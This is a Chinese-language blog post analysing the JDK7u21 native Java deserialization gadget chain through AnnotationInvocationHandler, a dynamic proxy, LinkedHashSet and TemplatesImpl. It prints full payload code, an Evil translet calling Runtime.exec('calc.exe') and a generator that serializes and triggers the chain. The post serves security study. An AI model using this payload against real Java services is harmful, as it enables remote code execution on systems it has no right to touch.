JDK7u21原生反序列化链分析

JDK7u21原生反序列化链分析

前面分析的都是第三方的反序列化链,那么有没有JDK原生的反序列化链呢?答案是有的,JDK7u21 和 JDK8u20就是两条原生的反序列化链!

漏洞分析

equalsImpl动态调用方法

在AnnotationInvocationHandler.equalsImpl方法中存在一个动态方法调用
image-20211205110614935
跟进一下getMemberMethods方法,可以知道是遍历this.type这个对象的所有方法
image-20211205110659149
equalsImpl方法的作用就是遍历this.type这个对象的所有方法并一一执行,这个有什么危害呢?

设想一下,当this.type为Templates接口(接口里有newTransformer、getOutputProperties这两个待实现的方法),equalsImpl方法的参数var1为构造的恶意TemplatesImpl对象,则此时会遍历调用TemplatesImpl.newTransformer和TemplatesImpl.getOutputProperties方法,TemplatesImpl.newTransformer方法是反序列化链中很常见的一环!

那么接下来就是找一条到equalsImpl方法的调用链

AnnotationInvocationHandler.invoke方法

AnnotationInvocationHandler.invoke方法在前面ACC链中就有用到,这个方法里面当满足如下条件时就调用了equalsImpl方法,条件需要var4为equals
image-20211205111507603
那么怎么调用到invoke方法呢?分析过ACC链的都知道可以通过动态代理调用到invoke方法

但是根据调用equalsImpl方法的条件,我们需要找到一个在readObject方法中动态调用到equals方法的类,这里用到的是HashSet类

HashSet类

HashSet.readObject方法调用HashMap.put方法对HashSet里面的元素进行处理
image-20211205112651536
跟进put方法,这个方法动态调用了equals方法
image-20211205112811273
试想一下,当key为代理对象(应该是这么叫吧),k为恶意构造的TemplatesImpl对象,则此时会调用AnnotationInvocationHandler.invoke->AnnotationInvocationHandler.equalsImpl->TemplatesImpl.newTransformer调用链从而执行系统命令!所以HashSet里面要存放两个元素,第一个为TemplatesImpl对象,第二个为代理对象

当然前面的调用链得以执行需要满足HashSet里面元素的hash相等,跟进hash方法
image-20211205113646261
对hash值计算起决定性作用的是k.hashCode方法,根据前面分析的HashSet里面的元素,代理对象的hash要和TemplatesImpl对象的hash值要相等,TemplatesImpl对象的hash值无法预测,那么只能去跟进代理对象的hash计算方法了。

当调用k.hashCode方法计算代理对象的hash时,会调用到AnnotationInvocationHandler.invoke->AnnotationInvocationHandler.hashCodeImpl调用链,跟进到hashCodeImpl方法

private int hashCodeImpl() {
    int var1 = 0;

    Entry var3;
    for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
        var3 = (Entry)var2.next();
    }

    return var1;
}

this.memberValues是实例化AnnotationInvocationHandler对象时传入的第二个参数,我们可以传入一个HashMap对象

从上面代码得知,当HashMap对象的键的hashCode()方法返回值为0时,var1变量就取决于HashMap对象的值的hash,那么此时让HashMap对象的值为TemplatesImpl对象,就可以实现hash值相等这一条件了!

"f5a5a608".hashCode()计算出来的hash值就为0,那么让HashMap的键为5a5a608字符串即可

构造payload

payload中使用到LinkedHashSet是避免使用HashSet有时无法执行系统命令的情况,具体原因没深究

Evil.java

package org.apache.shiro.test;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Evil extends AbstractTranslet {
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { }
    public Evil() throws IOException {
        Runtime.getRuntime().exec("calc.exe");
    }
}

PayloadDemo01.java

package org.apache.shiro.test;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.*;

public class PayloadDemo01 {
    public static void main(String[] args) throws Exception {
        HashSet hashSet = (HashSet) getObject();
        serAndUnser(hashSet);
    }
    public static Object getObject() throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(org.apache.shiro.test.Evil.class.getName());
        byte[] bytes = clazz.toBytecode();
        TemplatesImpl Evilobj = new TemplatesImpl();
        HashMap hashMap = new HashMap();
        hashMap.put("f5a5a608","val");
        Class clazz02 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor con = clazz02.getDeclaredConstructor(Class.class, Map.class);
        con.setAccessible(true);
        InvocationHandler handler = (InvocationHandler)con.newInstance(Templates.class,hashMap);
        Templates proxy = (Templates) Proxy.newProxyInstance(Class.class.getClassLoader(), new Class[]{Templates.class}, handler);
        HashSet hashSet = new LinkedHashSet();
        hashSet.add(Evilobj);
        hashSet.add(proxy);
        hashMap.put("f5a5a608",Evilobj);
        setField(Evilobj,"_bytecodes",new byte[][]{bytes});
        setField(Evilobj,"_name","ky");
        setField(Evilobj,"_tfactory",new TransformerFactoryImpl());
        return hashSet;
    }
    public static void setField(Object obj,String field,Object value) throws Exception{
        Field declaredField = obj.getClass().getDeclaredField(field);
        declaredField.setAccessible(true);
        declaredField.set(obj,value);
    }
    public static void serAndUnser(Object obj) throws Exception{
        ByteArrayOutputStream bo = new ByteArrayOutputStream();
        ObjectOutputStream oo = new ObjectOutputStream(bo);
        oo.writeObject(obj);
        oo.flush();
        oo.close();
        ByteArrayInputStream bi = new ByteArrayInputStream(bo.toByteArray());
        ObjectInputStream oi = new ObjectInputStream(bi);
        Object o = (Object) oi.readObject();
    }
}

总结

在JDK7中,只要在JDK7u21版本之前的都可以使用这条链。因为JDK7和6是同时开发的(JDK7在更新的同时JDK6也在更新),所以并不是JDK6中都存在这条链,JDK6u45版本还可以用这条链。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值